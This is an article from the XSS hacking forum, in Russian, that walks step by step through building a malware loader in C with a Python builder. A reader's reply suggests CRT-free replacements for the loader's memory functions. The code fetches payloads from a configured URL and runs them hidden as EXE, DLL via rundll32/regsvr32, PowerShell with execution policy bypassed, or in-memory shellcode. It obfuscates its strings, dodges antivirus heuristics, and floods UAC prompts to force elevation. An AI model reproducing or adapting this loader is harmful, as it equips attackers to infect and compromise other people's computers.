• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем нерезидентный лоадер и билдер к нему

ru_soft

HDD-drive
Пользователь
Регистрация
28.10.2024
Сообщения
26
Реакции
17
Гарант сделки
3
Автор ru_soft
Источник https://xss.pro

Доброго времени суток

Сегодня мы напишем быстрый и маленький нерезидентный лоадер вместе с билдером к нему.
Реализуем возможность собирать лоадер в следующих форматах: EXE x86, EXE x64, DLL x86 (rundll32/regsvr), DLL x64 (rundll32/regsvr)? выход из лоу через спам UAC окном, удаление Zone Identifier у скачанного файла и простую защиту от попадания в онлайн сэндбоксы.
Само собой, будет добавлена поддержка разных видов полезной нагрузки, начиная бинарными пейлоадами (EXE, DLL, шеллкоды) и заканчивая скриптами.
Для простоты понимания код будет написан на C с использованием среды разработки VS 2022, написанный мною код будет работать и на более ранних версиях, однако в том случае, если для вас важна поддержка Windows XP - потребуются соответствующие пакеты.

Для начала нам потребуется создать пустой проект и правильно его настроить. Мы уберём из проекта все лишние зависимости, отключим CRT и сохранение отладочной информации.
После создания проекта переходим в его свойства, и ставим следующие настройки по вкладкам:

Общие:

Набор инструментов платформы - Visual Studio 2017 - Windows XP (v141_xp)

C/C++:

Оптимизация:

Оптимизация: Максимальная оптимизация (приоритет размера) /O1
Предпочитать размер или скорость: предпочитать краткость кода (/Os)
Оптимизация всей программы: нет

Создание кода:

Включить обьединние строк: Нет (/GF-)
Включить C++ исключения: Нет
Библиотека времени выполнения: Многопоточная (/MT)

Компоновщик:

Файл манифеста:

Создавать манифест: Нет (/MANIFEST:NO)

Отладка:

Создавать отладочную информацию: Нет

Система:

Подсистема: /SUBSYSTEM:WINDOWS

Дополнительно:

Точка входа: Entry
Применяем настройки и сохраняем их. Мы отвязали проект от CRT, сделали чтобы он собирался статически и задали кастомную точку входа - начнём написание лоадера с ее оформления.
Прототип точки входа будет выглядеть так:
C:
void Entry() {

}

Как видите, в отличии от приложений использующих CRT она ничего не возвращает, потому что системный загрузчик передаёт управление напрямую на неё.
В случае с CRT управление передаётся на точку входа CRT, внутри которой инициализируется рантайм, а затем происходит прыжок на main, WinMain и аналоги.

Первым делом мы подключим мой менеджер памяти и функционал для удобного вывода отладочных сообщений.
Этот же код использовался и в прошлой статье про написание скрытого майнера и не представляет ничего интересного: удобные аллокация, реаллокация и освобождение памяти, вывод отформатированных отладочных сообщений в DBGOUT и файл.
Код прилагаю ниже:

C:
#include "dbg.h"
#include <Shlwapi.h>

namespace Debug {
    OutputTypes output_type;
    CRITICAL_SECTION CS = { 0 };
    HANDLE dbg_file_handle = 0;

    bool Init(OutputTypes type) {
        output_type = type;

        if (type == OutputTypes::kFile) {
            InitializeCriticalSection(&CS);

            dbg_file_handle = CreateFileW(L"C:\\ProgramData\\fastldr.log", GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);

            if (dbg_file_handle == INVALID_HANDLE_VALUE) {
                return FALSE;
            }

            WORD bom = 0xFEFF;
            DWORD written = 0;

            WriteFile(dbg_file_handle, &bom, sizeof(bom), &written, NULL);
        }

        return TRUE;
    }

    void OutToDbg(LPCWSTR message_text, va_list args) {
        WCHAR dbg_message[1025] = { 0 };

        wvsprintfW(dbg_message, message_text, args);
        OutputDebugStringW(dbg_message);
    }

    void OutToFile(LPCWSTR message_text, va_list args) {
        EnterCriticalSection(&CS);

        WCHAR dbg_message[1025] = { 0 };
        int char_count = wvsprintfW(dbg_message, message_text, args);
        DWORD written = 0;


        WriteFile(dbg_file_handle, dbg_message, char_count * 2, &written, nullptr);
        WriteFile(dbg_file_handle, L"\r\n", 4, &written, nullptr);
        LeaveCriticalSection(&CS);
    }

    void DebugMsg(LPCWSTR message_text, ...) {
        va_list args = nullptr;

        va_start(args, message_text);

        switch (output_type) {
        case OutputTypes::kDbgConsole:
            OutToDbg(message_text, args);
        case OutputTypes::kFile:
            OutToFile(message_text, args);
        default:
            break;
        }

        va_end(args);
    }
}

Далее мы реализуем функционал извлечения информации из конфига. Наш конфиг будет зашифрованным RC4 блобом. В стаб вшита сигнатура, билдер будет искать эту сигнатуру, формировать конфигурацию и вставлять её на место сигнатуры.
RC4 ключ при каждом ребилде уникален, чтобы конфиг не выглядел статично. В памяти данные будут смотреться так:

RC4 ключ (8 байт) - размер зашифрованного конфига (4 байта) - конфиг

После расшифровки конфига мы получим:

Размер ссылки на файл (4 байта) - ссылка на файл - Тип полезной нагрузки (4 байта) - размер экспортируемой функции (4 байта) - экспортируемая функция - нужно ли принудительно повышать уровень привилегий (1 байт)

Про последнюю опцию - мы введём возможность принудительно поднимать integrity level до High тем же методом флуда UAC окном.
Если процесс запущен под Medium IL, но права отсутствуют, условие отработает и привилегии будут повышаться.

Я вынесу конфиг в глобальную переменную, задав ему размер в 5000 байт, или же 5 килобайт. Добавляем сигнатуру, забивая остальное место после неё нулями:

C:
BYTE config[5000] = { "INSERT_CONFIG_HERE" };

Рассмотрим функционал распаковки конфига. Вышеописанная информация считывается из BLOB'а, дешифруется и распределяется по переменным.
Для дешифровки мы будем использовать алгоритм шифрования ARC4, реализация которого была позаимствована мной из библиотеки mbedtls, скачать которую можно вот здесь.

Далее мы напишем код, позволяющий получить текущий Integrity Level и заодно проверить, является ли токен нашего процесса привилегированным.
Создаём файл utils.cpp и пишем код, попутно покрывая его отладочными выводами:

C:
DWORD GetIntegrityLevel() {
    DWORD integrity_level = 0;
    HANDLE token_handle = 0;
    PTOKEN_MANDATORY_LABEL mandatory_label = nullptr;

    do
    {
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token_handle)) {
            DBGPRINT(L"File %s, line %d, OpenProcessToken error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        DWORD length_needed = 0;

        if (GetTokenInformation(token_handle, TokenIntegrityLevel, nullptr, 0, &length_needed)) {
            DBGPRINT(L"File %s, line %d, GetTokenInformation error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
            DBGPRINT(L"File %s, line %d, GetTokenInformation error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        mandatory_label = (PTOKEN_MANDATORY_LABEL)Memory::Alloc(length_needed);

        if (!mandatory_label) {
            DBGPRINT(L"File %s, line %d, Memory::Alloc error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        if (!GetTokenInformation(token_handle, TokenIntegrityLevel, mandatory_label, length_needed, &length_needed)) {
            DBGPRINT(L"File %s, line %d, GetTokenInformation error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        integrity_level = *GetSidSubAuthority(mandatory_label->Label.Sid, *GetSidSubAuthorityCount(mandatory_label->Label.Sid) - 1);
    } while (false);

    if (token_handle) {
        CloseHandle(token_handle);
    }

    if (mandatory_label) {
        Memory::Free(mandatory_label);
    }

    return integrity_level;
}

bool IsElevated() {
    bool ret = false;
    HANDLE token_handle = 0;

    do
    {
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token_handle)) {
            DBGPRINT(L"File %s, line %d, OpenProcessToken error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        TOKEN_ELEVATION elevation = { 0 };
        DWORD length_needed = 0;

        if (!GetTokenInformation(token_handle, TokenElevation, &elevation, sizeof(TOKEN_ELEVATION), &length_needed)) {
            DBGPRINT(L"File %s, line %d, GetTokenInformation error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        ret = elevation.TokenIsElevated;
    } while (false);

    if (token_handle) {
        CloseHandle(token_handle);
    }

    return ret;
}

Мы открываем токен текущего процесса с правами TOKEN_QUERY, затем делаем вызов GetTokenInformation, передавая вторым параметром тип информации, которую мы хотим получить (в нашем случае это TokenIntegrityLevel и TokenElevation).

Теперь сделаем функционал повышения привилегий путём флуда UAC окном. Как можно заметить, в этой функции строки формируются путём посимвольного пуша на стэк, такой незамысловатый метод обфускации упростит допил лоадера под сборку в шеллкод и позволит нам скрыть строки от посторонних лиц.

C:
bool ElevateUAC(LPCWSTR file_path) {
    bool ret = false;
    WCHAR wmic_path[1025] = { 0 };

    do
    {
        WCHAR wmic_env_str[] = { '%', 'w', 'i', 'n', 'd', 'i', 'r', '%', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'w', 'm', 'i', 'c', '.', 'e', 'x', 'e', 0, 0 };

        if (!ExpandEnvironmentStringsW(wmic_env_str, wmic_path, 1025)) {
            DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        WCHAR runas_str[] = { 'r', 'u', 'n', 'a', 's', 0, 0};
        WCHAR format_str[] = { 'p', 'r', 'o', 'c', 'e', 's', 's', ' ', 'c', 'a', 'l', 'l', ' ', 'c', 'r' ,'e','a','t','e', '"', '%', 's', '"', 0, 0 };
        WCHAR wmic_args[1025] = { 0 };

        wsprintfW(wmic_args, format_str, file_path);

        while (true) {
            if (ShellExecuteW(0, runas_str, file_path, nullptr, nullptr, SW_HIDE) >= (HINSTANCE)32) {
                ret = true;
                break;
            }
        }
    } while (FALSE);

    return ret;
}


Мы будем в цикле запускать %WINDIR%\System32\wmic.exe методом runas, передавая параметры process call create "%current_path%", где %current_path% - путь к нашему файлу.
Если ShellExecute возвращает значение, которое меньше или равно 32 - значит пользователь отклонил UAC запрос и нам следует провести повторный запуск.

Теперь приступим к реализации функционада для взаимодействия с сетью. Здесь у нас будет две функции, одна для загрузки файла с последующим сохранением на диске, а вторая для сохранения файла в динамическую память.
Вторая нам понадобится для запуска шеллкодов, т.к касаться диска они не должны и будут запускаться в памяти процесса лоадера:

C:
bool DownloadFile(
    __in LPCWSTR url,
    __in LPCWSTR file_path
) {
    BOOL ret = false;
    HINTERNET inet_handle = 0;
    HINTERNET url_handle = 0;
    HANDLE file_handle = 0;

    do
    {
        WCHAR user_agent[] = { 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '5', '.', '0', ' ', '(', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '1', '0', '.', '0', ';', ' ', 'W', 'i', 'n', '6', '4', ';', ' ', 'x', '6', '4', ')', ' ', 'A', 'p', 'p', 'l', 'e', 'W', 'e', 'b', 'K', 'i', 't', '/', '5', '3', '7', '.', '3', '6', ' ', '(', 'K', 'H', 'T', 'M', 'L', ',', ' ', 'l', 'i', 'k', 'e', ' ', 'G', 'e', 'c', 'k', 'o', ')', ' ', 'C', 'h', 'r', 'o', 'm', 'e', '/', '1', '3', '1', '.', '0', '.', '0', '.', '0', ' ', 'S', 'a', 'f', 'a', 'r', 'i', '/', '5', '3', '7', '.', '3', '6', 0, 0 };

        inet_handle = InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);

        if (!inet_handle) {
            DBGPRINT(L"File %s, line %d, InternetOpenW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        url_handle = InternetOpenUrlW(inet_handle, url, nullptr, 0, 0, 0);

        if (!url_handle) {
            DBGPRINT(L"File %s, line %d, InternetOpenUrlW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        file_handle = CreateFileW(file_path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);

        if (file_handle == INVALID_HANDLE_VALUE) {
            DBGPRINT(L"File %s, line %d, CreateFileW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        while (true) {
            byte buffer[4096] = { 0 };
            DWORD read = 0;

            if (!InternetReadFile(url_handle, buffer, 4096, &read)) {
                DBGPRINT(L"File %s, line %d, InternetReadFile error %d", __FILEW__, __LINE__, GetLastError());
                break;
            }

            if (!read) {
                ret = true;
                break;
            }

            DWORD written = 0;

            if (!WriteFile(file_handle, buffer, read, &written, nullptr)) {
                DBGPRINT(L"File %s, line %d, WriteFile error %d", __FILEW__, __LINE__, GetLastError());
                break;
            }
        }
    } while (false);

    if (inet_handle) {
        InternetCloseHandle(inet_handle);
    }

    if (url_handle) {
        InternetCloseHandle(url_handle);
    }

    if (file_handle) {
        InternetCloseHandle(file_handle);
    }

    return ret;
}

bool DownloadFileToMem(
    __in LPCWSTR url,
    __out PBYTE* data,
    __out PDWORD data_size
) {
    BOOL ret = false;
    HINTERNET inet_handle = 0;
    HINTERNET url_handle = 0;

    do
    {
        WCHAR user_agent[] = { 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '5', '.', '0', ' ', '(', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '1', '0', '.', '0', ';', ' ', 'W', 'i', 'n', '6', '4', ';', ' ', 'x', '6', '4', ')', ' ', 'A', 'p', 'p', 'l', 'e', 'W', 'e', 'b', 'K', 'i', 't', '/', '5', '3', '7', '.', '3', '6', ' ', '(', 'K', 'H', 'T', 'M', 'L', ',', ' ', 'l', 'i', 'k', 'e', ' ', 'G', 'e', 'c', 'k', 'o', ')', ' ', 'C', 'h', 'r', 'o', 'm', 'e', '/', '1', '3', '1', '.', '0', '.', '0', '.', '0', ' ', 'S', 'a', 'f', 'a', 'r', 'i', '/', '5', '3', '7', '.', '3', '6', 0, 0 };

        inet_handle = InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);

        if (!inet_handle) {
            DBGPRINT(L"File %s, line %d, InternetOpenW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        url_handle = InternetOpenUrlW(inet_handle, url, nullptr, 0, 0, 0);

        if (!url_handle) {
            DBGPRINT(L"File %s, line %d, InternetOpenUrlW error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        DWORD total = 0;

        while (true) {
            byte buffer[4096] = { 0 };
            DWORD read = 0;

            if (!InternetReadFile(url_handle, buffer, 4096, &read)) {
                DBGPRINT(L"File %s, line %d, InternetReadFile error %d", __FILEW__, __LINE__, GetLastError());
                break;
            }

            if (!read) {
                *data_size = total;
                ret = true;
                break;
            }

            if (!*data) {
                *data = (PBYTE)Memory::Alloc(read);
            }
            else {
                *data = (PBYTE)Memory::ReAlloc(*data, total + read);
            }

            if (!*data) {
                DBGPRINT(L"File %s, line %d, alloc error %d", __FILEW__, __LINE__, GetLastError());
                break;
            }
           
            memcpy(*data + total, buffer, read);

            total += read;
        }
    } while (false);

    if (inet_handle) {
        InternetCloseHandle(inet_handle);
    }

    if (url_handle) {
        InternetCloseHandle(url_handle);
    }

    return ret;
}

Как видите, мы вызываем InternetOpenW, первым параметром передавая туда юзер агент, с которым будет идти запрос к серверу, а вторым идёт константа INTERNET_OPEN_TYPE_PRECONFIG, без указания которой при соединении с сетью лоадер не подхватит встроенный прокси, который время от времени может встречаться в корпоративных сетях.
Далее открывается ссылка на файл через InternetOpenUrlW и происходит постепенное считывание данных с использованием функции InternetReadFile. Разница у этих двух функций, как и сказано выше, в последующих действиях со считанными данными.
Данные считываются по 4096 байт за раз и в первой функции пишутся в указанный файл, а во второй - в буфер, память в котором реаллоцируется при каждой итерации прохода по файлу.

Теперь мы займёмся написанием функционала для запуска полезной нагрузки. Начнём с запуска шеллкода:

C:
void RunShellcode(PBYTE shellcode, DWORD shellcode_size) {
    PVOID shellcode_mem = nullptr;
    HANDLE thread_handle = 0;

    do
    {
        shellcode_mem = VirtualAlloc(nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        if (!shellcode_mem) {
            DBGPRINT(L"File %s, line %d, VirtualAlloc error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        memcpy(shellcode_mem, shellcode, shellcode_size);

        DWORD old_protect = 0;

        if (!VirtualProtect(shellcode_mem, shellcode_size, PAGE_EXECUTE_READ, &old_protect)) {
            DBGPRINT(L"File %s, line %d, VirtualProtect error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        thread_handle = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)shellcode_mem, nullptr, 0, nullptr);

        if (!thread_handle) {
            DBGPRINT(L"File %s, line %d, CreateThread error %d", __FILEW__, __LINE__, GetLastError());
            break;
        }

        WaitForSingleObject(thread_handle, INFINITE);
    } while (false);

    if (shellcode_mem) {
        memset(shellcode_mem, 0, shellcode_size);
        Memory::Free(shellcode_mem);
    }

    if (thread_handle) {
        CloseHandle(thread_handle);
    }
}

Для шеллкода выделяется динамическая память с правами PAGE_READ_WRITE, шеллкод копируется в выделенную память, а затем права участка памяти меняются на PAGE_EXECUTE_READ.
Это делается для того, чтобы избежать выделения памяти с RWX правами, т.к это незамедлительно повлечет за собой поведенческий детект от антивируса.
Далее на шеллкод создаётся поток, если хендл потока валиден - вызывается WaitForSingleObject, дабы дождаться окончания выполнения шеллкода.
Как только шеллкод закончит свою работу, память выделенная под него будет забита нулями и освобождена.

Сделаем запуск DLL: тут ничего сложного, форматирование строки с аргументами и передача ее в одном из параметров ShellExecute:

C:
void RunRundll32(LPCWSTR dll_path, LPCWSTR export_function) {
    WCHAR rundll32[1025] = { 0 };

    if (!ExpandEnvironmentStringsW(L"%WINDIR%\\System32\\rundll32.exe", rundll32, 1024)) {
        DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
        return;
    }

    WCHAR args[1025] = { 0 };
    WCHAR open[] = { 'o', 'p', 'e','n', 0, 0 };

    wsprintfW(args, L"%s, %s", dll_path, export_function);
    ShellExecuteW(0, open, rundll32, args, nullptr, SW_HIDE);
}

void RunRegsvr32(LPCWSTR dll_path) {
    WCHAR regsvr32[1025] = { 0 };

    if (!ExpandEnvironmentStringsW(L"%WINDIR%\\System32\\regsvr32.exe", regsvr32, 1024)) {
        DBGPRINT(L"File %s, line %d, ExpandEnvironmentStringsW error %d", __FILEW__, __LINE__, GetLastError());
        return;
    }

    WCHAR args[1025] = { 0 };
    WCHAR open[] = { 'o', 'p', 'e','n', 0, 0 };

    wsprintfW(args, L"/s %s", dll_path);
    ShellExecuteW(0, open, regsvr32, args, nullptr, SW_HIDE);
}

И, наконец таки, запуск PS скриптов:

C:
void RunPS(LPCWSTR ps_path) {
    WCHAR powershell[1025] = { 0 };

    if (!ExpandEnvironmentStringsW(L"", powershell, 1024)) {
        return;
    }

    WCHAR args[1025] = { 0 };
    WCHAR open[] = { 'o', 'p', 'e','n', 0, 0 };

    wsprintfW(args, L"-ExecutionPolicy Bypass -f \"%s\"", ps_path);
    ShellExecuteW(0, open, powershell, args, nullptr, SW_HIDE);
}

Не забываем в параметрах отключать ExecutionPolicy, т.к с включенным ExecutionPolicy скрипт может не отрабатывать при некоторых условиях.
И последний штрих, в зависимости от типа полезной нагрузки производим запуск соответствующим методом:

Теперь приступим к написанию билдера. Использовать будем Python, т.к на нем он делается быстрее в силу простоты языка. Копируем файл стаб лоадера с папки Release, читаем содержимое и ищем сигнатуру. Вычисляем смещение к сигнатуре, формируем конфиг и пишем его обратно:
Python:
if __name__ == '__main__':
    shutil.copy('..\\Release\\FastLdr.exe', 'build.exe')
    with open('build.exe', 'rb+') as stub_file:
        data = stub_file.read()
        signature_pos = data.find(b'INSERT_CONFIG_HERE')
        stub_file.seek(signature_pos)
        stub_file.write(get_encrypted_config())

Код для генерации конфига достаточно прост, числа кодируются при помощи библиотеки struct:

Python:
def payload_type_to_number() -> int:
    if PAYLOAD_TYPE == 'exe':
        return 1
    elif PAYLOAD_TYPE == 'dll_rundll32':
        return 2
    elif PAYLOAD_TYPE == 'dll_regsvr32':
        return 3
    elif PAYLOAD_TYPE == 'ps1':
        return 4
    elif PAYLOAD_TYPE == 'shellcode':
        return 5

def get_config() -> bytes:
    encoded_url = URL.encode('utf-16-le')
    encoded_export_function = EXPORT_FUNCTION.encode('utf-16-le')

    return struct.pack('=L', len(encoded_url)) + encoded_url + struct.pack('=L', payload_type_to_number()) + struct.pack('=L', len(encoded_export_function)) + encoded_export_function + struct.pack('?', FORCE_ELEVATE)

def get_encrypted_config() -> bytes:
    key = secrets.token_bytes(8)
    cipher = ARC4(key)
    encrypted_config = cipher.encrypt(get_config())

    return key + struct.pack('=L', len(encrypted_config)) + encrypted_config

Для работы билдера нужна последняя версия питона и установленный пакет arc4.
Как настраивается билдер? В переменных URL, PAYLOAD_TYPE, EXPORT_FUNCTION и FORCE_ELEVATE указывается необходимая конфигурация. Виды полезной нагрузки для вставки в PAYLOAD_TYPE указаны в комментарии.

Статья сделана мной специально для форума XSS.
Исходники из статьи: http://temp.sh/QkPVy/FastLdr.rar, пароль местный
 
Последнее редактирование модератором:
First, we need to create an empty project and configure it correctly. We will remove all unnecessary dependencies from the project, disable CRT and saving debug information.

looks good for people starting out.

since memcpy() and memset() are from CRT, if anyone is having trouble from linker errors,
switch those 2 functions with your own implementation like this:

void *custom_memcpy(void *dest, const void *src, size_t n) {
unsigned char *d = dest;
const unsigned char *s = src;
while (n--) {
*d++ = *s++;
}
return dest;
}

void *custom_memset(void *dest, int value, size_t n) {
unsigned char *d = dest;
unsigned char val = (unsigned char)value;
while (n--) {
*d++ = val;
}
return dest;
}

or if you want, you could just use the Win32-equivalent API functions to replace them!
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх